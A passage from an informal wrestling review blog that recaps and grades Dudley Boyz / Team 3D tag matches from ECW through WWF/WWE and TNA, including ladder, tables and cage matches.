Seriously did you expect anything else? We get the cheese grater and I already hate this match. Seriously, what does this have to do with tag team wrestling? You never see more than two people on screen at once. D-Von and Spike are in the crowd doing whatever. Since there’s no referee with them, it’s rather pointless to follow them isn’t it? It’s just a big brawl with blood and random strikes. Spike dives off the balcony. Yeah I don’t care either.

Now I’m stunned as all four guys are in the ring at once. Holy goodness. The fans chant for flaming tables. Being put through one of those sounds pretty good right now. D-Von just goes off on Mahoney in the corner with punches. Ok that was kind of cool. The faces hit their finishers at the same time and of course the Dudleys kick out. And it worked so well the first time that we should just do that all over again!

So of course the four finishers don’t do it so they win with a schoolboy. Wow that’s riveting. The Dudleys do the beatdown afterwards and the table is lit up. Make that two tables. What a waste of fake wood. The powerbomb on Balls is botched. Yeah there’s nothing unsafe about that. Spike goes through. And since this was an idiotic match, here’s New Jack to really cram it home. As I’ve said, he is the epitome of everything wrong with ECW. This celebrating goes on forever as we kill more time.

Rating: F. The camera work sucked, there was zero wrestling, the ending was idiotic, it’s the same match as last month and the same feud for four months and New Jack was involved afterwards. What do you think I’m going to give this? Thankfully this was about it for the team in ECW as there was nothing left for them to do.

It would be off to the WWF soon after this and the Dudleyz would be successful in a hurry. From No Way Out 2000.

Tag Titles: Dudley Boys vs. New Age Outlaws

So the Outlaws are more or less the biggest team ever at this point and this is just another title defense against the Dudleys who took the company by storm. Think Sheamus vs. Cena from TLC. Lawler randomly barking at Road Dogg is rather funny for some reason. After the normal intros we start with a big brawl of course.

The crowd is pretty hot but you can tell they’re saving themselves for the main event. Billy beat Bubba on Thursday and put him through a table. Road Dogg does his dancing punch and Bubba does what someone with intelligence would do (the irony of that stuns me) and DUCKS.

We get a What’s Up but it’s not named yet. This match is very short, as in like 5 minutes long. The Dudleys dominate for the most part until the required big brawl at the end. On the floor, Bubba blasts Gunn in the arm with a pipe. That legitimately injured him, putting him out of action for about 8 months.

When he got back Road Dogg was with K-Kwik (R-Truth) and Gunn got a singles push. Therefore unless there was some random reunion, this is the last New Age Outlaws match. Bubba realizes something is wrong and runs into the ring for 3D and the tag titles. This was a legit shock as more or less NO ONE thought the Dudleys had a chance.

Rating: D+. Way too short to be much of anything which I’m pretty sure was because of the injury. That happens so you do what you have to do. This would set up the triple ladder match at Mania and the first TLC match at Summerslam as wrestling started the HOLY CRAP period of gimmick matches. Yes I know ECW did them first but theirs were far sloppier and became clichéd as all goodness. Ok to revise it so I don’t get complaints: the chant started in the mainstream. There.

Next up was the start of the most famous period in tag team wrestling in the WWF. From Wrestlemania 2000.

Tag Titles: Edge and Christian vs. Hardy Boyz vs. Dudley Boyz

The Dudleyz are defending and this is a triangle ladder match rather than a TLC match. That would come in September. This is when Edge and Christian still came through the crowd and somehow hadn’t won the tag titles yet. As the Dudleys pose in the aisle on a ladder during their entrance, the Canadians jump the only actual brothers in the match. This is going to be one of those matches that is almost impossible to keep track of. Bubba chops away at Jeff in the ring but gets caught by Whisper in the Wind. A Bubba Bomb puts Jeff right back down and they all head to the floor.

Christian sets up a ladder in the ring but Matt makes a save. Everyone gets back inside and there’s a second ladder. Matt throws one into the corner at Bubba for a sick thud right before D-Von is slammed onto a ladder and hit by a middle rope elbow. Jeff puts Bubba on the ladder but misses a 450, giving us a SICK looking crash. Bubba puts the ladder on top of Jeff and actually hits the middle rope backsplash to crush both of them. Edge rides a ladder out of the corner to crush another ladder onto Matt.

D-Von takes Edge down and all six guys are on the mat or floor now. Bubba is up first and we get the put the ladder around your own neck and spin around in a circle move. Edge and Christian finally dropkick the ladder into Bubba to put him down and there’s a double flapjack into the ladder in the corner on D-Von. Christian climbs a ladder and dives onto Matt and Bubba on the floor. This is all happening with almost no breaks in between. Jeff climbs the ladder in the ring but Edge jumps off the top with a spear. That would be topped by about 1000 next year.

Matt hits a crucifix bomb on Edge before trying to climb, only to be slammed down by D-Von. D-Von goes up, only to have Christian throw the ladder at him to bring him down. There are now three ladders set up in the middle of the ring and it’s Bubba with a Cutter to Christian off two of them. Awesome looking move there. With Bubba down, the Hardys hit a splash/legdrop combination off the top of the ladders. D-Von tries to climb but the Canadians suplex him off the ladder.

Everyone but the Dudleyz climb up but they all come flying down due to a facebuster and a Russian legsweep in another spot that would be topped next year. The Dudleys are back in now and the fans want tables. Now all six guys climb three ladders and as you can guess, they all go flying down. Christian and Jeff get the worst of it, crashing out to the floor. Bubba lands on his feet and shoves the other two ladders over, leaving him alone in the ring. D-Von is back up too but here’s Christian back to his feet, only to get crushed between two ladders.

Edge comes back in and gets caught in the original 3D, with Bubba running for the cutter instead of just standing there. Bubba loads up a table as is his custom and D-Von gets one of his own. There are two ladders set up in the ring and the Dudleys are all alone, but instead of climbing they make a scaffold out of a table between the tops of the ladders. The Hardys get back up to make the save but are easily dispatched. Again the Dudleys screw up though by setting up another table under the scaffold and a third on the floor.

Bubba powerbombs Matt through the one on the floor but D-Von misses a splash through Jeff on one of the tables back in the ring. Jeff tries to run the rail but Bubba pelts him in the face with a ladder. Bubba loads up the super ladder in the aisle before setting up a table in front of it. I can smell wrestling law #1 from here. Jeff comes back and takes Bubba out before putting him on the ladder. In the famous spot from this match, Jeff climbs to the top of the super ladder and hits the Swanton through Bubba through the table to put both of them out.

Back in the ring D-Von suplexes Christian down and goes for a climb but here’s Matt to break it up. The Twist of Fate takes D-Von down and now it’s Matt and Christian climbing the ladders. They both wind up on the scaffolding that was set up earlier but here’s Edge from behind. The brothers throw Matt through the table, allowing Edge and Christian to pull down the belts for their first titles.

Rating: A-. There are two problems with this match. First of all, the match the next year blows it away. Second, and far worse, the last ten minutes were spent setting up spots instead of actually going for the belts. Take the big spot of the match for example. Why in the world would Bubba do that instead of for the sake of doing that spot later? Same with all the other tables set up. There was no logic to doing that, but they did the spots anyway. Still though, excellently fun match.

We’ll jump ahead a bit to Royal Rumble 2001 when the Dudleys went after the titles again.

Tag Titles: Edge and Christian vs. Dudley Boys

The Canadians have the titles and the Dudleys have concussions. It’s a brawl to start with the champions trying to bail very quickly. We wind up with Edge vs. D-Von to start as the challenger gets two off a neckbreaker. Off to Christian who is elbowed down for two of his own. Bubba comes in as Jerry makes fun of the Dudleys’ injuries. A side slam gets two on Christian and it’s off to D-Von vs. Edge again.

Christian finally goes for the back of D-Von’s injured head to give Edge control and we get into the meat of the match. Christian gets the tag and starts pounding away on D-Von’s head, followed by a neckbreaker from Edge for two. After a quick chinlock Edge hits a neckbreaker for two more as Bubba looks like he’s about to cry. Since it’s a Dudleys match, the fans want tables. Lawler wants gumbo.

D-Von breaks up a spike piledriver for reasons of wanting to stay alive, catapulting Edge into Christian. Edge and D-Von clothesline each other and the referee misses the ensuing hot tag. A Conchairto misses D-Von and there’s the seen hot tag to Bubba. A pair of hot shots takes down a pair of Canadians and there’s a Bubba Bomb to Christian. What’s Up hits Edge but wouldn’t that hurt D-Von’s head even more?

D-Von goes to get a table and the distraction lets Edge get a title belt. Bubba ducks the shot and gets a VERY close two off a rollup. 3D is broken up by a spear to Bubba and a DDT to D-Von but Bubba kicks out again. The champions try What’s Up but the Dudleys escape and the 3D on Edge gives us new champions.

Rating: B. This is one of those annoying matches where it’s really good and therefore there’s nothing to make fun of. These guys had some of the best tag matches the WWF has ever seen and this was no exception, with all four guys looking great out there. Notice something about Edge and Christian and the Hardys: they came from tag teams but they were allowed to grow up in said tag teams, meaning once they made the transition to singles matches they had a far easier time. That NEVER happens today which is why tag teams don’t make good singles wrestlers anymore. The crowd is white hot tonight too.

Then the InVasion happened and someone thought putting the Dudleys in a main event match made sense. From the InVasion PPV.

Inaugural Brawl: Team WWF vs. Team WCW/ECW

WWF – Steve Austin, Kurt Angle, Chris Jericho, Kane, Undertaker
WCW/ECW – Booker T, Diamond Dallas Page, Rhyno, Dudley Boys

All three Alliance bosses get entrances. Now Vince gets an entrance. It’s been over 12 minutes since the last match ended and we’re not even to the wrestlers’ entrances yet. So yeah for you trivia buffs, this is the other non-ECW PPV that the Dudley Boys main evented. Kane and Taker were still kind of tag partners at this point but not really. So apparently Taker and Kane are balanced out by the Dudley Boyz? Ok then.

Oh and this is just a ten man tag. No special rules or anything like that. And pay no attention to the fact that both Taker and Kane (albeit as a jobber) used to work for WCW. Rhyno makes it the third ECW guy in a row. Talk about a push that died after this. Next is Jericho, who is about as opposite of Rhyno after this show as you could ask of anyone. Stephanie and Jericho was one of the funniest feuds I can ever remember.

Booker is US and World Champion at this time but he would hand the US Title to Kanyon soon after this. This just feels entirely thrown together. Sting is mentioned on a WWF PPV for likely the only time ever. Stephanie dancing to Booker’s music is just hilarious. Angle gets a HUGE pop despite going the wrong way down the ramp.

The level he reached about two months from now was insane. DDP is apparently the biggest deal in the Alliance. Dang did they ever jump the gun here. The 9 mentioned start fighting in the aisle and we have Austin. Notice a certain one sidedness here?

Austin and Rhyno start us off. Austin hits a superplex off the top. Sweet goodness. Jericho gets a NICE pop for the tag. Booker, the only one of the WCW/ECW guys to get a legit push in WWF comes in. Angle gets another great pop. This was after the peak the company had a few months earlier, but it was still a huge deal. This evolves into your standard big time tag match with various people beating on each other with no one really controlling for a ton of time.

DDP hits a Stunner on the top rope on Taker to finally get something resembling control. Austin works on a wristlock on Booker. There’s something you don’t see everyday. We’ve been at this for about ten minutes now and there hasn’t been any long term control. There isn’t much to say here either though as it’s exactly what you would expect it to be. Heyman is awesome at being completely evil when he has to be.

Angle is in some trouble here and the Spinarooni hits. Page hits a spinning powerbomb on Angle which is one of my favorite moves. So after nearly 20 minutes we get to the traditional face in peril sequence of the match. We go old school with Austin getting the tag but the referee didn’t see it. I love things like that. Diamond Cutter on Angle and it gets NO reaction. Cole of course calls it a neck breaker while Ross, 10 seconds after it, says the name right.

And here is the brawl that you knew was coming. Rhyno hits the Gore on Booker and Taker finally gets his hands on DDP again. Chokeslam to Page. Booker and Austin fight on the floor while the WCW referee gets a Last Ride. Taker and DDP go into the crowd while Austin’s knee is messed up after going into the steps. Kane is fighting both Dudleys.

That’s how you can tell Taker is a bigger deal than Kane: when Taker did that, they got their own match. It’s table time. Kane hits a chokeslam through the announce table on D-Von. He got him UP there too. Rhyno and Bubba put Kane through the Spanish Announce Table. Good to see a tradition still alive. Jericho puts Rhyno through the table the Dudleyz set up. Booker and Angle are the only guys still conscious. Oh and Bubba also.

The referee is still looking at Austin’s knee. Yes I’m listing a lot of play by play but you have to here so you know what’s going on. Angle fights off Booker and Bubba with an ankle lock and the Angle Slam, back when it was a good finisher, respectively. And there goes the referee. Cue the finish. Vince grabs the WWF Title and throws it to Angle. Shane gets it though and down goes Vince.

It’s Booker vs. Angle now. Angle hits his pair of finishers on him, Austin throws the referee in, kicks Angle in the head, Stunner, pin, WCW/ECW wins. Austin turned heel again, shocking JR despite him having done the same thing TWO AND A HALF MONTHS EARLIER. Austin and the three Alliance leaders have beers to end the show.

Rating: B. This did something I didn’t think it did: it made the far weaker WCW/ECW team look legit. This was all about making WWF look like they were in danger and it did that. WWF never had the advantage in the whole match until the very end. WCW/ECW controlled this as they should have. Austin turning heel had to be done given the totally rushed nature of this angle but that’s neither here nor there. The match wasn’t terrible either, so I’d say this was a success. Not a classic or anything, but a success.

During the InVasion the titles changed hands pretty regularly with the Brothers of Destruction getting them later in the year. Only one team could hang with them and the Dudleyz got their chance on Raw, September 17, 2001.

WWF Tag Titles: Undertaker/Kane vs. Dudley Boys

Why not for both titles? Because this way if they change hands they can have ANOTHER title match that means nothing on PPVs, because that’s what they needed to fix things right? EVEN MORE TITLES! Kane and D-Von start and Kane’s arm is STILL bandaged. Hasn’t that thing been hurt since April now? Kane takes him down with ease and no sells his punches. Sidewalk slam puts D-Von down and Kane drills Bubba so he can hit the top rope clothesline for two.

Off to Taker who has an American flag on his singlet now. D-Von takes him down with a shoulder block and brings in Bubba. Taker knocks down the future Bully almost immediately and hits Old School. Bubba comes back with a belly to back suplex for no cover. Kane comes in and grabs both Dudleys for chokeslams at the same time but D-Von hits him in the arm to break it up. What’s Up Kane?

Here comes a table but it doesn’t get set up. Kane is in trouble but manages to powerbomb Bubba out of the corner and tags Undertaker. A legdrop gets two on D-Von as Kane and Bubba fight on the floor. There goes the referee and cue Kronik. High Times puts Kane through the table and the 3D gives the Dudleys the titles.

Rating: D+. It was another mess but getting at least half of the titles off of Undertaker and Kane was a good thing because you had to have them get cheated to have them lose. That makes their defenses boring because you know no one is going to be able to get a clean win on them. Unfortunately this set up the Brothers vs. Kronik which was horrible.

We’ll have to jump a good bit ahead now due to the Brand Split breaking the team up for awhile. When that bombed, the team reunited at Survivor Series 2002 and got a title shot at Royal Rumble 2003.

Raw Tag Titles: Dudley Boys vs. William Regal/Lance Storm

Regal and Storm are defending and Regal is STILL doing the brass knuckles thing. Storm and Ray get things going with Lance working on the arm, only to get powered down with ease. Bubba hits one of his LOUD chops in the corner and takes Storm down with a kind of chokebomb. In something I’ve never seen him do otherwise, Bubba hooks a standing Figure Four. Actually I can’t think of anyone who has ever used that.

Off to D-Von for a dropkick (what’s gotten into the Dudleys tonight?) and here’s Regal to get slammed down immediately. The champs double team D-Von down and we get into the standard tag team formula. Storm takes D-Von to the mat and it’s off to Regal for a front facelock. Lance comes back in with a cravate into a sleeper as this continues to meander along.

D-Von rolls Storm away and makes the tag to Bubba who speeds things up. The guy has emotion if nothing else. A big running splash in the corner crushes both champions and a side slam gets two on Storm. The American hits a German on the Canadian for two, followed by a spear to the Englishman. The Bubba Bomb gets two on Lance and Regal takes What’s Up. A double flapjack (stupid fans: “3D!”) gets two on Storm and here’s Chief of Staff Sean Morely. Regal finds the brass knuckles but walks into the 3D. D-Von hits Storm with the knuckles for the pin and the titles.

Rating: D. This didn’t work for me. It felt like a Raw match that was trying to be a PPV match but never got near the hump they were trying to get over. The ending was stupid on top of that, as they had Regal beaten with the 3D, so why use the knuckles? Also it didn’t help that Bubba single handedly beat up the tag champions for about two minutes straight. Bad match.

Another title shot, from Unforgiven 2003.

Raw Tag Titles: Dudley Boys vs. La Resistance

This is a handicap elimination tables match as La Resistance have Sylvan Grenier, Rob Conway and Rene Dupree. This was supposed to be a 6 man but the heels botched a table spot on Spike on Raw where the threw him over the top and missed the table entirely other than the back of Spike’s head smacking into the table in a SICK looking spot. And we have tags in a tables match. Sure why not?

You can tell this is a long time ago as they’re only 16 time tag champions here. Sweet goodness that’s ridiculous sounding. D-Von and Grenier, who is by far the worst of the three, start us off. And now it’s Conway. Thank you for wasting our time like that. He’s an American that is a French sympathizer. We get the eternal question of why do the French love Jerry Lewis movies. That’s a great question and I’ve yet to get an answer to it.

For a tables match there is a severe lack of tables in it so far. It’s just a handicap match with the Dudleys being way ahead. The double neckbreaker hits and so does What’s Up. Still no tables. There are no disqualifications in this, yet they have to tag. I’ll never get that. Ah here we go. D-Von gets sent through so it’s only Bubba left. They’re not eliminated though. Bubba is WAY over here which is odd to an extent. There are a ton of tables here.

Bubba, from his knees, slaps the heck out of Sylvan’s chest. That sounded GREAT. He goes through the table so it’s 2-1 I guess you could say. Wait…are they eliminated? Oh does it really matter? Well there’s D-Von and the referee is fine with it so I’m thinking no. Wait it’s No DQ so it doesn’t matter if they’re eliminated or not.

Conway goes through it and in nearly the same spot he hurt Spike in, he hits HIS head on the table. FREAKING OW! It’s Bubba vs. Dupree here more or less and since it’s both Dudleys vs. him, what do you expect? Actually Rene wins for the most part and gets to set up a table. He’s 19 here but walks into 3D to give the Dudleys the belts.

Rating: D+. Well this wasn’t that bad but it could have been on Raw. Well maybe not as it actually got over ten minutes. This wasn’t anything special but it made the Dudleys look strong here which is the right idea. It’s nothing special but it’s fine for what it was supposed to be so I can’t complain that much.

And one more from Royal Rumble 2004, in a rematch from Evolution being a last minute entry to the tag team turmoil match the previous month.

Raw Tag Titles: Dudley Boys vs. Evolution

Flair and Batista are defending here and this is a tables match. Coach is ticked off at the Dudleys for putting him through a table six nights ago on Raw, because if there’s one man you need to give a reason to be a heel, it’s COACH. Batista makes fun of the Eagles because he hasn’t broken through to the other side of the glass ceiling yet. The fight starts in the aisle as you would expect. This is one table to a finish, meaning only one guy has to go through to end it.

Bubba slides in a table but shoves it hard enough that it slides across the ring and hits Batista in the ribs on the other side of the floor. Flair gets double teamed to start and caught in a powerslam by D-Von. There’s a table set up in the ring but Batista moves it before Flair gets suplexed through it. D-Von hits a Cactus Clothesline on Batista as Flair chops Bubba against a table in the corner.

Big Dave comes back in with some clotheslines to clean house but misses a charge into the post. The belly to back neckbreaker from the Dudleys puts him down and it’s Flair getting double teamed again. According to JR, the Dudleys are the only team to win the (non-vacant) world tag team titles at the Rumble. Coach heads to the ring to distract the Dudleys and prevent a 3D to Flair. Flair saves Coach and Batista hits a spinebuster to put D-Von through a table to retain.

Rating: D. This match fell into the same trap that all bad tables matches fall into: the dull set of spots that fail until one works for the win. You rarely get something that gets around this through sheer carnage such as the match at the 2000 Rumble, but this was just terrible. I have no idea what they were going for here as the fans were disappointed and they only had four and a half minutes to get into it. Also: real smart WWE. This is the right way to start a show in Philadelphia: have some of the most famous ECW guys ever lose.

The Dudleyz would be sent to the sidelines for awhile as their contracts came up. They were the only choice to main event an ECW reunion show though, so here’s their match from One Night Stand 2005. I’ll throw in the awesome post match stuff as a bonus.

Dudley Boys vs. Tommy Dreamer/Sandman

Ok, so this is more or less by far and away the most famous and popular part of this show as the match won’t start for about 15 minutes or so. This was the first time the Dudleys had been seen in months on end and they would be gone and in TNA rather soon. Foley sums up a lot very easily: There are guys like me that absolutely love ECW and everything it stood for but at the end of the day consider themselves WWE guys.

Then you have guys like the Dudley Boys that work for WWE but in their hearts are always going to be ECW guys. That sums up this whole show better than anything else could I think. Dreamer gets a pop and a half. You can tell Dreamer is WAY impressed and really in awe of this. The music hits and so begins the most famous entrance in modern wrestling history at least.

Enter Sandman (original, not that Motorhead nonsense) hits and he’s in the crowd. The fans sing the song for his entrance in what is an awesome moment. He’s on his second beer and he’s still on the top floor. Hey he’s at the railing! His entrance is at 3 minutes now. Bubba gets beer spit at him. Tommy and Sandman have beers with CW Anderson and Chris Chetti in the front row before pouring one on two girls’ chest and licking it off, one of which is Elektra.

D-Von dancing to Metallica is funny and the cane gets jacked off. Five and a half minutes now. Hand pounds all around…and there’s the BWO. The reaction from Foley is hilarious. Think Ray from Ghostbusters when he says “It’s the Stay-Puft Marshmallow Man”. Just cracks me up every time. Match hasn’t started yet. Stevie looks good here actually. Joey sums up the BWO perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it.

And the best is they couldn’t sue us because it was a parody.” For those of you that have no idea what I’m talking about, the BWO is the Blue World Order: Big Stevie Cool, Da Blue Guy and Hollywood Nova (Simon Dean). They were a parody of the NWO which wound up being ridiculously popular so they ran with it.

Stevie says they’re taking over and kicks Sandman in the face. Let the brawling begin. Kid Kash is here, having just been fired from TNA, marking I believe the first and only time it was mentioned on WWE programming. He does nothing and here are Balls Mahoney and Axl Rotten: the Hardcore Chair Swingin Freaks.

They beat up the BWO so the interfering people are fighting the other interfering people. Nova gets the heck chaired out of him. Joey: that’s more painful than having to be Simon Dean on national TV. Everyone brawls in the aisle and Kash has the referee get on all fours for a HUGE front flip onto all of them. Bubba busts out the trashcans. Remember the match hasn’t started yet. Oh hey there it is, 14 minutes after the Dudleys’ song started. Dreamer has a cheese grated.

The fans chant for Cactus Jack which Foley kind of laughs off. Cheese grater across Dreamer’s head is SICK! Oh he’s busted bad so Bubba rubs it on his face. Joey: Tommy’s skin looks like cabbage in a coleslaw. In case you can’t tell, I freaking love this. Foley calls the grater comical. Sometimes I’d pay to be inside that man’s head. Sandman brings in the ladder. We get probably my all time favorite comedy line in wrestling.

Joey says he was going to compare Dreamer wrestling tonight to Gehrig’s last at bat at Yankee Stadium but Gehrig didn’t whip out a cheese grater and start mutilating people with it. And that my friends is why I love wrestling. It’s so insane that to us it makes sense, but when you compare it to something else, it sounds ridiculous. However, in wrestling, there are three words that make things magical: It Could Happen.

That is why I love wrestling: you never know what you could see. Naturally this is just a wild brawl all over the place. Bubba hits a frog splash on Sandy which has to be better than some forms of execution. D-Von takes the White Russian legsweep and we get a double figure four on the Dudleys but the Impact Players run in. Sandman gets a That’s Incredible on barbed wire and here’s Francine.

Beaulah makes her return for the CATFIGHT CATFIGHT CATFIGHT!!! Dreamer saves her and they have their big reunion with Dreamer’s face covered in blood. The Dudleys get DDTed by the two of them, making me smile. WHERE ELSE BUT IN WRESTLING COULD YOU GET THIS? Beaulah gets two on Bubba and she’s hardcore according to the fans. Joey is told in his headset that he can’t say balls, which he makes fun of of course.

Sandman goes through a table for two. 3D on Dreamer, and it’s the old style, not the crap one now. We have another table and here’s Spike who is seeing COLORS! Yep, the table is on fire and there goes Tommy. In a spot that makes me cringe, Tommy’s head is tilted towards the mat and blood just pools up from his head. That’s a great visual. Bubba actually dives on him for the pin.

Rating: N/A. Can’t give this a fair grade as it wasn’t a match by any definition of the word. Make no mistake about it though: this is the highlight of the show and as much fun as I can remember having watching wrestling perhaps ever.

Post match (oh like you didn’t expect something else to happen) the Dudleys go after Beaulah and get the tar cained out of them. In a spot that always makes me chuckle, Spike comes back again and Sandman turns around and just canes him again before going back to what he was doing. He looked like he was paying a parking meter or something. Sandman looks at Tommy and says someone….someone…SOMEONE GET ME A BEER! Joey: screw the beer, get him some plasma! “Somebody get me a beer!”

CUE GLASS SHATTER!

Yep, Austin (in a freaking XFL jersey of all things) is here. He calls out the whole locker room and says he wants to see a fight. Yep he calls down the crusaders and you know what’s coming. The heat is awesome here. The sight of everyone on their own side of the ring looks great. The crowd chants WE WANT TAZ and guess who shows up. Yep it’s old school Taz, as in the machine Taz. Bischoff is on commentary.

The fight is on and Taz and Angle hit the floor. After a bit of a scuffle, Taz chokes him out. Now the interesting thing is this: in the back of the ring you can see JBL going CRAZY on someone. It would turn out to be Blue Meanie and JBL was legitimately beating him until Tracy Smothers and a few others picked up on it and helped him. This started a legit feud between them with Smothers calling JBL out for a real fight anytime anywhere.

Anyway, other than that of course the ECW guys clean house and run the WWE guys off. After they leave, Austin gets on the mic (wearing JBL’s hat) and says to Mick Foley to bring Bischoff to the ring. The fans kind of collectively gasp as they know what’s coming. This was a wet dream for them to say the least. The funny part is that he can’t go into the crowd because he’ll get hurt worse out there.

Bischoff takes a 3D, the flying headbutt from Benoit (complete with Austin telling him to kill him), a 619 (booed loudly) and a Stunner as the fans are in awe. The Dudleys literally throw Eric out of the building and the party is on. Joey screams ECW LIVES to end the show.

With nothing left to do in WWE, it was off to TNA, where the team actually spent more time than anywhere else. The team would be put into the main event scene very soon and be in one of the featured matches at Destination X 2006. They’re now Team 3D due to some legal issues with the Dudleyz name.

Jeff Jarrett’s Army vs. Team 3D/Ron Killings/Rhyno

The Army is Jarrett, AMW and Abyss. Jackie Gayda is being held against her will due to something about a video tape. At least Gail Kim looks hot here. So in other words, Jeff has had Debra, Gail and Karen. Not bad at all. It’s so weird to hear What’s Up on a TNA show. This is just a big street fight. The non Army (Navy?) hits the ring and we’re out of the ring almost immediately.

Truth would be the captain of the team for lack of anyone better. They’re in the aisle, the stands and the stage all at once. Rhyno tries to Gore Abyss off the stands but Abyss gets a boot up. Bubba ACTUALLY HITS THE BACK SPLASH (minus the rope) on Storm I think. Jarrett and Truth go to the Spanish table. D-Von and Harris are finally found in the stands. Rhyno pops Abyss with a chair. If this sounds all over the place, there’s a reason for that.

Jarrett gets some chair shots into Truth and since they’re the only ones you can see clearly we stay on them for a bit. We finally can see everyone and it’s Storm vs. Rhyno in the ring at the moment. Rhyno actually tags in D-Von and even the announcers make fun of it. The Dudleys try a Doomsday Device but Harris saves, allowing Abyss to chokeslam Ray.

Off to Jarrett vs. D-Von now with Jarrett in total control. And scratch that as Storm comes in and down he goes. The future Bully comes in and cleans house. Rhyno adds a spinebuster for two. Abyss hammers on Rhyno a bit now and the slug out goes to Abyss. Jarrett gets a dropkick and it’s off to Storm. Uh make that Harris. We have a chinlock in a WAR. I give up.

Yep it’s a boring match now. They managed to take a huge brawl that was pretty cool to start off and turned it into another boring tag match. Rhyno vs. Jarrett now and both guys go down. Harris comes in to make sure nothing exciting happens here. Perish the thought. Killings FINALLY comes in to clean house. He avoids a splash from Abyss in the corner and gets that suplex into a Stunner to Storm for two.

The Dudleys come in and it turns into a big brawl again. Guitar comes in and Jarrett has to hide it from the referee because this is a stupid match. Gore takes Jarrett down but a Black Hole Slam does the same to Rhyno. Gail breaks up What’s Up so Jackie comes in and it’s a double What’s Up to Gail and Jeff. D-Von goes to do the chest slap to Jackie and pauses in a funny spot.

3D takes out Abyss but AMW takes out Team 3D. Death Sentence to D-Von and Killings gets taken down by a double team as well. I hear handcuffs but Truth apparently has experience with them as Harris winds up cuffed to the ring. Axe kick gets two as Jarrett pulls the referee out. Jarrett and Truth slug it out a bit and the Stroke ends this rather quickly.

Rating: C. Leave it to TNA to take their WAR and make it boring for a large part of it. They started in an actual war then went to a regular match and then to a big decent fight. Of course TNA managed to take what could have been a good match and get the whole order of it screwed up. Match was just ok and the feud would continue for the most part next month at Lockdown.

At the end of the day though, the Dudleyz have to go after Tag Team Titles. Here’s one of their first major shots, from Lockdown 2007 in an electrified cage match for no apparent reason.

Tag Titles: Team 3D vs. LAX

No Konnan to start. This gets big match intros as it’s basically the first of two main events. The lights are dimmed for this so it’s almost blue. Apparently the current going through the cage is only on in certain places at certain times. They don’t have to tag because when the cage is electrified, tagging is pretty stupid. Team 3D controls to start. This is a hard match to call because they’re moving around kind of strangely here, due to trying to avoid the cage. It’s not bad per se, but it’s not the most exciting thing in the world.

What’s Up hits and at least D-Von was very tentative about going up due to being next to the cage. LAX takes over and uses whatever cheating methods they can. D-Von is busted and Homicide’s hand touches the cage to give us the first electrocution in the match. I didn’t expect to have to write that. Hernandez is busted too. He goes up but D-Von manages to crotch him. Homicide is crotched as well and we get nearly stereo superplexes.

D-Von beats up Homicide, hitting a powerslam for two. Konnan has been wheeled out. Whoever wheeled him out beat down the outside referee and gave Konnan some rubber gloves. Hector Guerrero, the Spanish announcer, jumps that guy (we can’t see who he is) and stares down Konnan. Apparently the guy who wheeled Konnan out was trying to get the key to the door. Hector unlocked it and the door is open. It’s hard to tell what’s going on due to the light. Bubba yells at him to hand him an F’ing table.

The delay allows for LAX to get a quick takeover but Hernandez stops to yell at Hector, so Hector slams the door on his head. The double neckbreker gets two on SuperMex. Bubba Bomb gets two on Homicide. Samoan Drop gets two on D-Von. Top rope elbow gets the same. This has gotten a good deal better. HUGE layout powerbomb gets two on Homicide by Bubba.

We get the first big electrocution spot as Hernandez Border Tosses D-Von into the cage and he vibrates like a fish on a fish frying plate. He’s COVERED in blood, which would be more effective if you could see it. The fans aren’t that thrilled with this as they chant Fire Russo. A middle rope elbow gets two for Bubba. D-Von is apparently fine after the MASSIVE ELECTROCUTION as a Doomsday Device gets two.

The table gets loaded up and D-Von is placed onto it. Hernandez puts some rubber gloves on but takes forever to do it. He climbs to the top of the cage but since he took FOREVER, the splash through the table misses. Looked awesome though. The Dudleys take over on Homicide, throw him into the cage, botch a 3D off the cage and then hit the 3D for the pin and the titles.

Rating: D. Yes it was bad, but it wasn’t THAT bad. I mean, if you compare this to the blindfold match it’s a masterpiece. The cage stuff was stupid and I’m really not sure what the point of the lights was. Maybe the cage sucked too much electricity out? Anyway, not a horrible match but it was probably way too much for the payoff they got out of it.

In something that has almost never worked before, TNA decided to have a Winner Take All tag match at Victory Road 2007.

TNA World Title/X Division Title/Tag Titles: Team 3D vs. Kurt Angle/Samoa Joe

And remember, AJ and Daniels had a tag title shot, but we can’t have them as main event guys. Team 3D is FAR more believable as world title contenders. As you likely guessed, this is little more than Angle and Joe trying to one up each other and Team 3D is just in the way. With the simple problem of NO ONE believes they have a chance of winning a singles title, this is rather just about who wins the tag belts.

Joe has his Samoan fire breathers and dancers and whatnot. Angle tries to get Serotonin to help him. They laugh at him. He beats them up too. That riser is just awesome. So after about 10 minutes of intros, the match is nothing special at all. TNA fans doing the You Suck chant just isn’t right at all. We get the required Team 3D tension that no one cares about at all. It just doesn’t work. Let it go.

Bubba starts to leave and then doesn’t as we desperately search for drama of any kind. Can we get to the end of this please? We all know that the Dudleys are losing here so why pretend otherwise? Angle has disappeared for some reason. Oh ok he just wanted Joe to get beaten up. We hit the required insanity and I just want this show to end. ANGLE HITS THE MOONSAULT!

Even Tenay makes jokes about him hitting it. Not really funny but kind of cute. Both singles champions hook ankle locks but Bubba gets out and Angle hits Joe by mistake. 3D on Angle and D-Von gets the cover. And here’s Rick Steiner to break things up. Scott Steiner blasts Bubba with a pipe but Angle breaks it up so he doesn’t not win the tag titles. Angle hits Bubba with the Angle Slam and Joe steals the pin to get the tag belts. Holy pointless run ins Batman!

Rating: C+. Again, it’s ok but it’s not like there was ANY drama at all here. They just blew it with Team 3D having the belts here as with AJ/Daniels, who they had a legit chance to put them on 3 days before this. This was ok but it was just about Angle or Joe which made it rather boring and at nearly 20 minutes, just WAY too long. Not a smart nor particularly good main event.

Time for a dream match! From Bound For Glory 2007.

Steiner Brothers vs. Team 3D

They point out that the Steiners now reside in Atlanta to HAMMER in the face push. Big brawl to start as you have to get two table put throughs out of three to win this. Well it’s better than a regular table match. I’m not sure how but it prevents winning on a fluke I guess. Rick thankfully is in a shirt as we get the Steiner pose. The Dudleys try to leave and that goes nowhere.

Beer to the face of D-Von as they’re in the crowd. Granted this isn’t so much a waste of time as you can go through a table anywhere. Big brawl in the stands where not a lot is going on as there are no tables in sight. Scott and Bubba are brawling as are the other pair. There’s the first table brought in but it’s not set up yet. We’re back around the ring now.

In the ring now and Rick goes through one on a 3D. Scott is on the floor and there aren’t any eliminations it seems which I like better. Scott fights out of a super bomb and hits a Frankensteiner where he does nothing and Bubba has to jump for the flip, hitting the back of his head on the edge, more or less breaking through the table with his neck. FREAKING OW MAN.

